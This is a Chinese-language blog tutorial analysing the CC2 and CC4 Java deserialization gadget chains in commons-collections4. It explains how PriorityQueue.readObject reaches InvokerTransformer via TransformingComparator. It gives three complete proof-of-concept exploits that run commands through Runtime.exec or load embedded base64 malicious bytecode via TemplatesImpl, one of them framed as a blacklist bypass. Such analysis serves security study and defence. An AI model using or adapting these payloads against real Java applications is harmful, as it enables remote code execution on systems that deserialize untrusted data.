Java反序列化-CC2分析

我正在参加「掘金·启航计划」

在CC2 中，使用的将不是前面的 commons-collections 依赖了，而是 commons-collections4 这个依赖，并且也采取了一下新的利用类PriorityQueue 和 TransformingComparator。通过 PriorityQueue 做为入口点，TransformingComparator 作为跳板去触发利用链。

[TOC]

如何将PriorityQueue、TransformingComparator 作为入口点和跳板去利用

首先看一下作为跳板的 TransformingComparator 类是怎么调用到利用链的

public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

在 TransformingComparator#compare 方法中，调用到了transform 方法去修饰 obj1、obj2 的值。就是这个方法调用到了利用链

接着在看一下 PriorityQueue 类是怎么作为入口点去利用的

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

在PriorityQueue#readObject 方法中，将反序列化的数据存放在queue 字段中，之后调用 heapify 方法来对数据进行调整，形成二叉堆

在对数据进行调整的时候会对数据进行比较，将较小的数排列在前面。而在对数据进行比较的时候就会调用到compare 方法，从而让PriorityQueue 类和TransformingComparator产生联系。看一下这个操作是怎么在代码中实现的

private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

在 heapify 方法中，采用将数向后移动的方式来对数据进行调整。

    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

在后移之前会判断，判断是否有比较器 (compar)，如果有的话则调用if 中的方法，否则调用 else 中的方法。这里直接看i分钟的方法，因为只有当有比较器的时候才会调用比较器中的方法来比较两个数

    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

可以看见，if 中的方法，调用了比较器中的比较方法去对两个数进行比较。就是这一步操作，让作为入口点的 PriorityQueue 类可以于作为跳板的TransformingComparator 类结合起来使用。

利用PriorityQueue 和TransformingComparator 构造poc

这里先给出利用链

PriorityQueue.readObject()
	TransformingComparator.compare()
		ChainedTransformer.transform()
			InvokerTransformer.transform()

开始构造poc

    public static void main(String[] args) throws Exception{

        //构造恶意数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //构造无害数组
        Transformer[] test = new Transformer[]{};

        //在执行add方法 调用compare 方法进行比较的时候使用无害的数组
        ChainedTransformer chain = new ChainedTransformer(test);

        PriorityQueue queue = new PriorityQueue(new TransformingComparator(chain));
        queue.add(1);
        queue.add(1);

        //在调用完add 方法后通过反射修改 chain的数组，将无害数组替换成恶意数组，之后反序列化的初始化二叉堆的时候调用恶意数组执行代码
        Field field = chain.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chain,transformers);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC2"));
        oos.writeObject(queue);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC2"));
        ois.readObject();

    }

这里还可以使用CC3中的 TemplatesImpl 类来构造poc

这里就不讲解了，直接给出poc

    public static void main(String[] args) throws Exception{

        //创建恶意字节码
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg==");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_bytecodes",new byte[][]{bytes});
        setFieldValue(obj,"_name","sakut2");
        setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());

        //先使用无危害payload 以免提前触发漏洞 参考URLDNS
        Transformer transformer = new InvokerTransformer("toString",null,null);
        PriorityQueue queue = new PriorityQueue(new TransformingComparator(transformer));

        //将恶意字节码添加到queue 中,反序列化调整二叉堆时作为比较的参数使用
        queue.add(obj);
        queue.add(obj);
        //在add 方法执行完之后修改payload 之后反序列化的时候就会触发漏洞代码了
        setFieldValue(transformer,"iMethodName","newTransformer");

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC2"));
        oos.writeObject(queue);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC2"));
        ois.readObject();

    }
        public static void setFieldValue(Object obj,String fieldName,Object value)throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
    

commons-collections4 在CC2中的作用

在上面的poc 中可能大家觉得commons-collections4和commons-collections 没什么区别啊，新用到的这两个类在commons-collections 中也有啊，为什么不能直接用 commons-collections 来构造poc。

在这里，只看poc 可能看不出什么区别，但要使用commons-collections 运行这个poc 就会发现报错了。这里把commons-collections4中导入的类全部注入替换成commons-collections 中的类 ，然后运行一下看看会是什么结果。

发现在将类序列化的时候抛出了异常，这里爆出TransformingComparator 不具有Serializable 接口。

在commons-collections 中，TransformingComparator 类并不具有 Serializable 接口，所以在进行序列化操作的时候会报错。在commons-collections4 中，对TransformingComparator 类添加了 Serializable 接口 使其具有序列化的功能。

CC4

在CC3 中有讲过黑名单这个概念，CC4 就是绕黑名单的CC2，其原理是一样的。这里直接给出poc

    public static void setFieldValue(Object obj,String fieldName,Object value)throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }


    public static void main(String[] args) throws Exception{
        //创建恶意字节码
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg==");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_bytecodes",new byte[][]{bytes});
        setFieldValue(obj,"_name","sakut2");
        setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());


        //创建无危害数组
        Transformer[] transformer = new Transformer[]{};

        //构造恶意数组
        Transformer[] exp = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})
        };

        //将数组带入类中
        ChainedTransformer chain = new ChainedTransformer(transformer);

        PriorityQueue queue = new PriorityQueue(new TransformingComparator(chain));
        queue.add(1);
        queue.add(1);

        setFieldValue(chain,"iTransformers",exp);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("Temp_CC4"));
        oos.writeObject(queue);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("Temp_CC4"));
        ois.readObject();
    }